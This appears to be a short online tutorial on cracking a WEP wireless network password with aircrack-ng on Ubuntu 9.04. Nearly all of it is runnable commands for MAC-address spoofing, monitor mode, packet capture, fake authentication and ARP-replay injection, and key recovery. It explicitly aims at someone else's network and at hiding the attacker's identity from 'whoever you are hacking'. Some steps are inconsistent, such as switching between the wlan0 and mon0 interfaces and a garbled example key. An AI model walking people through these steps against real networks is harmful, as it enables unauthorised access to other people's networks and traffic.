Ok this tutorial will teach you how to crack a wep using ubuntu 9.04 and aircrack-ng.
Follow these commands first open up a new terminal and type sudo apt-get install macchanger. Wait for this to finish downloading and installing, afterwards download sudo apt-get install aircrack-ng in the same terminal.
Alright for the rest of this tutorial you need to disable networking. After that is done open up a terminal and type:
Make sure to include your wireless cards name (mine was wlan0) yours might be different.
sudo airmon-ng stop wlan0
sudo ifconfig wlan0 down
Next you will need to change your maccadress so you whoever you are hacking doesn't know you are you
. You can do this by typing:sudo macchanger --mac 00:11:22:33:44:55 wlan0
Your mac address should say faked.
Next type
sudo airmon-ng start wlan0
Find the network and make sure it is WEP then locate the bssid and copy it also note the channel number or ch. Mine was 6 but yours might be different.
then type
sudo airodump-ng wlan0
you should see the networks name and it's data. Next open up new terminal and type:
sudo airodump-ng -c [channel] -w [filename] --bssid [bssid] wlan0
you should see something association successful with a smiley face. You need this to work!
next type:
sudo aireplay-ng -1 0 -a [bssid] -h [fake mac] mon0
sudo aireplay-ng -3 -b [bssid] -h [fake mac] wlan0
Now you should see a lot of packets. You will need a certain amount of these before you can crack the pass.
After you reach about 5,000 packets or higher type aircrack-ng -b [bssid] [filename]-01.cap
If the injection was successful it will say decrypted 100% and then the pass. If the pass is 78:90:798:789: then it would be 7890798798 with no semicolons .
